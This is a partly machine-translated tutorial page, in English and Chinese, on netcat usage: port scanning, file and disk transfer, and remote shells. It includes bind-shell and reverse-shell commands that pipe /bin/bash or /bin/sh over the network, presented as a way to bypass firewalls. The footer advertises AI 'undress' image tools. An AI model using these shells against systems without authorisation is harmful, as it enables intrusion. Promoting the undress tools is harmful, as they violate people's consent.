search

Netcat command in Linux

Oct 15, 2017 am 10:36 AM
linuxOrder

[Introduction] Netcat is the Swiss Army Knife of network tools. It can read and write data in the network through TCP and UDP. You can use it in a variety of ways within your scripts by combining it with other tools and redirecting it. It's amazing what you can accomplish with the Netcat command. What Netcat does is to establish a connection between two computers. You can use it in a variety of ways within your scripts by combining it with other tools and redirecting it. It's amazing what you can accomplish with the Netcat command.

All Netcat does is establish a link between two computers and return two data streams. What you can do after that depends on your imagination. You can set up a server, transfer files, chat with friends, stream media or use it as a standalone client for other protocols.

The following are some examples of using Netcat.

[A(172.31.100.7) B(172.31.100.23)]

Linux Netcat command example:

1. Port scanning

Port scanning is often used by system administrators and hackers to find open ports on some machines and help them identify vulnerabilities in the system.

$nc -z -v -n 172.31.100.7 21-25

Can run in TCP or UDP mode, the default is TCP, the -u parameter is adjusted to udp.

z parameter tells Netcat to use 0 IO, which means that once The connection is closed and no data is exchanged. : That is, detailed output)

  • n parameter tells Netcat not to use DNS to reverse query the domain name of the IP address

  • This command will print 21 to 25 All open ports. Banner is a text. Banner is a text message sent to you by a service you are connected to. Banner information is very useful when you are trying to identify a vulnerability or the type and version of a service. However, not all services send banners.

  • Once you find open ports, you can easily use the Netcat connection service to grab their banners.
  • $ nc -v 172.31.100.7 21

    The Netcat command will connect to open port 21 and print the banner information of the service running on this port.

  • Chat Server

If you want to chat with your friends, there are many software and information services available for you to use. However, if you don't have such a luxurious configuration, for example, if you are in a computer lab and all external connections are restricted, how do you communicate with your friends who sit in the next room all day? Don't be depressed, Netcat provides such a method, you only need to create a Chat server, a predetermined port, so that he can contact you.

Server

$nc -l 1567

The Netcat command starts a tcp server on port 1567, and all standard output and input will be output to this port. Both output and input are displayed in this shell.

Client

$nc 172.31.100.7 1567

Whatever you type on machine B will appear on machine A.

3. File transfer

Most of the time, we are trying to transfer files through the network or other tools. There are many methods, such as FTP, SCP, SMB, etc., but when you only need to transfer files temporarily or once, it is really worth wasting time to install and configure a software on your machine. Suppose, you want to transfer a file file.txt from A to B. Either A or B can serve as the server or client. Below, let A serve as the server and B as the client.

Server

$nc -l 1567 <p>Client</p><pre class="brush:php;toolbar:false">$nc -n 172.31.100.7 1567 > file.txt

Here we create a server on A and redirect Netcat's input to the file file.txt, then when any successful connection to the Port, Netcat will send the file contents of file.

On the client side we redirect the output to file.txt. When B connects to A, A sends the file content and B saves the file content to file.txt.

There is no need to create a file source as Server, we can also use it in the opposite way. Like below we are sending files from B to A, but the server is created on A. This time we only need to redirect the output of Netcat and redirect the input files of B.

BAs Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 <p>4. Directory transfer</p><p>Sending a file is very simple, but if we If you want to send multiple files or an entire directory, it is very simple. You only need to use the compression tool tar to compress and send the compressed package. </p><p>If you want to transfer a directory from A to B over the network. </p><p>Server</p><pre class="brush:php;toolbar:false">$tar -cvf – dir_name | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | tar -xvf -

Here on server A, we create a tar archive and redirect it via - in the console, then use pipe, redirect to Netcat, and Netcat can send it over the network.

On the client, we download the compressed package through the Netcat pipe and then open the file.

If we want to save bandwidth and transmit compressed packages, we can use bzip2 or other tools for compression.

Server

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

Compression via bzip2

Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

Decompression using bzip2

5. Encrypt the data you send over the network

If you are worried about the security of the data you send over the network, you can encrypt it with a tool such as mcrypt before sending your data.

Server

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

Use the mcrypt tool to encrypt data.

Client

$mcrypt –flush –bare -F -q -m ecb <p>Use the mcrypt tool to decrypt the data. </p><p>以上两个命令会提示需要密码,确保两端使用相同的密码。</p><p>这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。</p><p>6. 流视频</p><p>虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用Netcat,我们仍然有希望做成这件事。</p><p>服务端</p><pre class="brush:php;toolbar:false">$cat video.avi | nc -l 1567

这里我们只是从一个视频文件中读入并重定向输出到Netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

7、克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是一个从磁盘读取原始数据的工具,我通过Netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

8、打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用Netcat创建远程shell。

假设你的Netcat支持 -c -e 参数(默认 Netcat)

Server

$nc -l 1567 -e /bin/bash -i

Client

$nc 172.31.100.7 1567

这里我们已经创建了一个Netcat服务器并且表示当它连接成功时执行/bin/bash

假如Netcat 不支持-c 或者 -e 参数(openbsd Netcat),我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到Netcat 运行的端口1567上。至此,我们已经把Netcat的输出重定向到fifo文件中。

说明:从网络收到的输入写到fifo文件中

  • cat 命令读取fifo文件并且其内容发送给sh命令

  • sh命令进程受到输入并把它写回到Netcat。

  • Netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

9、在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567

你会得到一个shell提示符在客户端

反向shell

反向shell是人曾经在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567

在客户端,简单地告诉Netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash

现在,什么是反向shell的特别之处呢

反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。

10. 指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

$nc -l 1567

客户端

$nc 172.31.100.7 1567 -p 25

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

11、指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在Netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 <p>客户端</p><pre class="brush:php;toolbar:false">$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这仅仅是使用Netcat的一些示例。

其它用途有:

  • 使用-t选项模拟Telnet客户端,

  • HTTP客户端用于下载文件,

  • 连接到邮件服务器,使用SMTP协议检查邮件,

  • 使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用Netcat作为网络通讯媒介,实现各种客户端。

Netcat command in Linux

The above is the detailed content of Netcat command in Linux. For more information, please follow other related articles on the PHP Chinese website!

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
What is Maintenance Mode in Linux? ExplainedWhat is Maintenance Mode in Linux? ExplainedApr 22, 2025 am 12:06 AM

MaintenanceModeinLinuxisaspecialbootenvironmentforcriticalsystemmaintenancetasks.Itallowsadministratorstoperformtaskslikeresettingpasswords,repairingfilesystems,andrecoveringfrombootfailuresinaminimalenvironment.ToenterMaintenanceMode,interrupttheboo

Linux: A Deep Dive into Its Fundamental PartsLinux: A Deep Dive into Its Fundamental PartsApr 21, 2025 am 12:03 AM

The core components of Linux include kernel, file system, shell, user and kernel space, device drivers, and performance optimization and best practices. 1) The kernel is the core of the system, managing hardware, memory and processes. 2) The file system organizes data and supports multiple types such as ext4, Btrfs and XFS. 3) Shell is the command center for users to interact with the system and supports scripting. 4) Separate user space from kernel space to ensure system stability. 5) The device driver connects the hardware to the operating system. 6) Performance optimization includes tuning system configuration and following best practices.

Linux Architecture: Unveiling the 5 Basic ComponentsLinux Architecture: Unveiling the 5 Basic ComponentsApr 20, 2025 am 12:04 AM

The five basic components of the Linux system are: 1. Kernel, 2. System library, 3. System utilities, 4. Graphical user interface, 5. Applications. The kernel manages hardware resources, the system library provides precompiled functions, system utilities are used for system management, the GUI provides visual interaction, and applications use these components to implement functions.

Linux Operations: Utilizing the Maintenance ModeLinux Operations: Utilizing the Maintenance ModeApr 19, 2025 am 12:08 AM

Linux maintenance mode can be entered through the GRUB menu. The specific steps are: 1) Select the kernel in the GRUB menu and press 'e' to edit, 2) Add 'single' or '1' at the end of the 'linux' line, 3) Press Ctrl X to start. Maintenance mode provides a secure environment for tasks such as system repair, password reset and system upgrade.

Linux: How to Enter Recovery Mode (and Maintenance)Linux: How to Enter Recovery Mode (and Maintenance)Apr 18, 2025 am 12:05 AM

The steps to enter Linux recovery mode are: 1. Restart the system and press the specific key to enter the GRUB menu; 2. Select the option with (recoverymode); 3. Select the operation in the recovery mode menu, such as fsck or root. Recovery mode allows you to start the system in single-user mode, perform file system checks and repairs, edit configuration files, and other operations to help solve system problems.

Linux's Essential Components: Explained for BeginnersLinux's Essential Components: Explained for BeginnersApr 17, 2025 am 12:08 AM

The core components of Linux include the kernel, file system, shell and common tools. 1. The kernel manages hardware resources and provides basic services. 2. The file system organizes and stores data. 3. Shell is the interface for users to interact with the system. 4. Common tools help complete daily tasks.

Linux: A Look at Its Fundamental StructureLinux: A Look at Its Fundamental StructureApr 16, 2025 am 12:01 AM

The basic structure of Linux includes the kernel, file system, and shell. 1) Kernel management hardware resources and use uname-r to view the version. 2) The EXT4 file system supports large files and logs and is created using mkfs.ext4. 3) Shell provides command line interaction such as Bash, and lists files using ls-l.

Linux Operations: System Administration and MaintenanceLinux Operations: System Administration and MaintenanceApr 15, 2025 am 12:10 AM

The key steps in Linux system management and maintenance include: 1) Master the basic knowledge, such as file system structure and user management; 2) Carry out system monitoring and resource management, use top, htop and other tools; 3) Use system logs to troubleshoot, use journalctl and other tools; 4) Write automated scripts and task scheduling, use cron tools; 5) implement security management and protection, configure firewalls through iptables; 6) Carry out performance optimization and best practices, adjust kernel parameters and develop good habits.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

Atom editor mac version download

Atom editor mac version download

The most popular open source editor